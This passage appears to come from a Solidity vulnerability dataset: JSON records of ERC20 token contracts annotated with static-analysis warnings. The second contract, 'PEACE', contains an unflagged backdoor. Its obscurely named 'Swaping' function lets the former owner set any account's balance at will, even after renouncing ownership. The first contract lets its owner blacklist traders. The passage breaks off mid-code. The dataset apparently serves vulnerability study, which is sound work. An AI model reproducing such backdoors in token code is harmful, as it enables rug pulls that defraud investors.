"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract potSemaG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 63e77bd): potSemaG._taxWallet should be immutable \n\t// Recommendation for 63e77bd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab36745): potSemaG._initialBuyTax should be constant \n\t// Recommendation for ab36745: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3bb581): potSemaG._initialSellTax should be constant \n\t// Recommendation for b3bb581: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 521a766): potSemaG._reduceBuyTaxAt should be constant \n\t// Recommendation for 521a766: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 870a925): potSemaG._reduceSellTaxAt should be constant \n\t// Recommendation for 870a925: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ab95aa): potSemaG._preventSwapBefore should be constant \n\t// Recommendation for 4ab95aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"potSemaG\";\n\n string private constant _symbol = unicode\"EMG\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: da20f24): potSemaG._taxSwapThreshold should be constant \n\t// Recommendation for da20f24: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f54c30): potSemaG._maxTaxSwap should be constant \n\t// Recommendation for 5f54c30: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 484acee): potSemaG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 484acee: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d10941d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d10941d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c29c272): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c29c272: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d10941d\n\t\t// reentrancy-benign | ID: c29c272\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d10941d\n\t\t// reentrancy-benign | ID: c29c272\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1a17e3e): potSemaG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1a17e3e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c29c272\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d10941d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 42fc805): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 42fc805: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8f820e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8f820e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 42fc805\n\t\t\t\t// reentrancy-eth | ID: 8f820e2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 42fc805\n\t\t\t\t\t// reentrancy-eth | ID: 8f820e2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8f820e2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8f820e2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8f820e2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 42fc805\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8f820e2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8f820e2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 42fc805\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 42fc805\n\t\t// reentrancy-events | ID: d10941d\n\t\t// reentrancy-benign | ID: c29c272\n\t\t// reentrancy-eth | ID: 8f820e2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1aa9c54): potSemaG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1aa9c54: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 42fc805\n\t\t// reentrancy-events | ID: d10941d\n\t\t// reentrancy-eth | ID: 8f820e2\n\t\t// arbitrary-send-eth | ID: 1aa9c54\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b7e6e85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b7e6e85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9ace127): potSemaG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9ace127: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7d50612): potSemaG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7d50612: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c4db3cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c4db3cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b7e6e85\n\t\t// reentrancy-eth | ID: c4db3cd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b7e6e85\n\t\t// unused-return | ID: 9ace127\n\t\t// reentrancy-eth | ID: c4db3cd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b7e6e85\n\t\t// unused-return | ID: 7d50612\n\t\t// reentrancy-eth | ID: c4db3cd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b7e6e85\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c4db3cd\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10148.sol",
"size_bytes": 19534,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etccoinso(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Swaping(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSendere == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract PEACE is ERC20 {\n uint256 private constant TOAL_SUTSTSELS = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 9b4df96): PEACE.DEAD shadows ERC20.DEAD\n\t// Recommendation for 9b4df96: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: d93e2da): PEACE.ZERO shadows ERC20.ZERO\n\t// Recommendation for d93e2da: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c5db7aa): PEACE.maxTxAmTOB should be immutable \n\t// Recommendation for c5db7aa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmTOB;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe84393): PEACE.maxwall_SE should be immutable \n\t// Recommendation for fe84393: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwall_SE;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: f066396): PEACE._burnPettsCIN should be constant \n\t// Recommendation for f066396: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettsCIN = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8c06751): PEACE.uniswapV2Router should be immutable \n\t// Recommendation for 8c06751: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"PeaceCoin\", unicode\"PEACE\", TOAL_SUTSTSELS) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwall_SE = TOAL_SUTSTSELS / 41;\n\n maxTxAmTOB = TOAL_SUTSTSELS / 41;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == 